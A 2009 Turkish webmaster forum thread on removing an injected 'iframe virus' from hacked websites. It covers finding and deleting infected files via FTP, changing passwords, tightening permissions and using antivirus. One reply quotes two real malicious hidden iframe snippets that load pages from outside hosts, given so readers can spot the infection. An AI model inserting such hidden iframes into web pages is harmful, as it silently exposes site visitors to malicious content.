• 25-04-2009, 12:06:44
    #1
    selamun aleyküm.
    bu acizane yazı ile sitesinde iframe virüsü olanlar, bu virüsten kurtulabilecek.

    1-)öncelikle Advanced Find and Replace adındaki kurulumu saniyeler süren ufak çaptaki programı indiriyoruz. (Google'a yazarsanız çıkacaktır)

    2-)daha sonra ftp'den sitenize bağlanıp ftp'de ki tüm dosyaları masaüstünden yeni bir klasör açıp o klasöre gönderin. (unutmayın iframe virüsü kullanılan veya kullanılmayan tüm dosyalara bulaşıyor.)

    3-)aktarımlar tamamlandıktan sonra indirmiş olduğumuz programı açıp, masaüstündeki klasörün adresini browse yazan kısma yapıştırın.

    program aşağıda görüldüğü gibidir, browse yazan yere ftp'den bilgisayarımıza aktardığımız dosyaların adresi



    find kısmına ise ' iframe ' yazın ve ' execute ' butonuna tıklayın.

    4-)bu esnada program iframe içeren dosyaları bulup en altta bu dosyaları gösterir. bundan sonrası temizleme aşaması, temizlemiş olduğunuz dosyaları ftp'ye gönderin. (temizlemeden önce muhakkak yedek alın)

    daha sonra ftp şifrelerinizi değiştirip virüsün girmiş olduğu ve gireceği dosyaların izinlerini 444 yapın. son olarak güncel bir trojen-virüs programı yükleyin.

    tercihim - spyware doctor ve kaspersky ikilisi...

    sitede konu ile ilgili birçok yazı gördüm fakat ben bu virüs ile gece-gündüz uğraştım, en garanti en kolay yol bu. formata gerek yok, format sonrası yine bulaşıyor çünkü. haftada bir bu yol ile sitenizi kontrol etmeniz yeterli. takıldığınız noktalar olursa yazın elimden geldiğince yardımcı olurum.

    saygılarımla.
  • 25-04-2009, 14:52:55
    #2
    Üyeliği durduruldu
    Teşekkürler faydalı bir paylaşım olmuş ancak şunu sormak istiyorum diyelimki bize ait birçok dosyada virüs olmayan iframeler mevcut bunları da silmesi durumunda ne yapacağız? find kısmına iframe virüsünün tamamını yazsak o şekilde bulur mu acaba?
  • 25-04-2009, 15:28:50
    #3
    zulfikar adlı üyeden alıntı: mesajı görüntüle
    Teşekkürler faydalı bir paylaşım olmuş ancak şunu sormak istiyorum diyelimki bize ait birçok dosyada virüs olmayan iframeler mevcut bunları da silmesi durumunda ne yapacağız? find kısmına iframe virüsünün tamamını yazsak o şekilde bulur mu acaba?
    iframe virüsü olduğunu anlarsınız zaten, eğer virüslü dosya değilse sadece iframe yazar.

    virüslü dosyalarda ;

    <iframe src='http://81.95.145.240/logo/index.php' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 
    FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
    <iframe src="http://110.a38q.cn/lx.htm" width="100" height="0" frameborder="0"></iframe>
    bu tip kodlar bulunur veya satır başında echo adında bir yazı vardır. her ihtimale karşı siz yinede silmeden yedek alın.
  • 21-06-2009, 23:37:24
    #4
    konu epey eskimiş, güncel tutmakta fayda var
  • 22-06-2009, 11:24:44
    #5
    Her şey güzelde, dosya izinlerini 444 yapamıyorum. Otomatik 644 oluyor..
  • 22-06-2009, 20:24:00
    #6
    Miliotta adlı üyeden alıntı: mesajı görüntüle
    Her şey güzelde, dosya izinlerini 444 yapamıyorum. Otomatik 644 oluyor..
    siz virüsü silin,her hafta kontrol edin o zaman. anlayan birine danışırsınız dosya izinleri ile ilgili sorunu.
  • 22-06-2009, 23:45:04
    #7
    Eğer ftp ile sunucu bağlantısı yapıyorsanız mutlaka bilgisayarınızda spyware doctor ve Avira
    antivir yazılımlarını kullanmanızı öneririm.

    Avira antivir antivirüs programını bu başlık altında güncel 3 aylık lisans kampanyaalrı yayınlanıyor ve güncel tutuluyor.
  • 23-06-2009, 08:49:12
    #8
    eNCeLaDuSs adlı üyeden alıntı: mesajı görüntüle
    Eğer ftp ile sunucu bağlantısı yapıyorsanız mutlaka bilgisayarınızda spyware doctor ve Avira
    antivir yazılımlarını kullanmanızı öneririm.
    Avira antivir antivirüs programını bu başlık altında güncel 3 aylık lisans kampanyaalrı yayınlanıyor ve güncel tutuluyor.
    sistemi fazla yormuyor ve internetteki iframe virüslerini buluyor avira..gerçekten en iyi antivirüs programlarından biri.
  • 05-07-2009, 22:19:48
    #9
    konuyu güncelliyorum..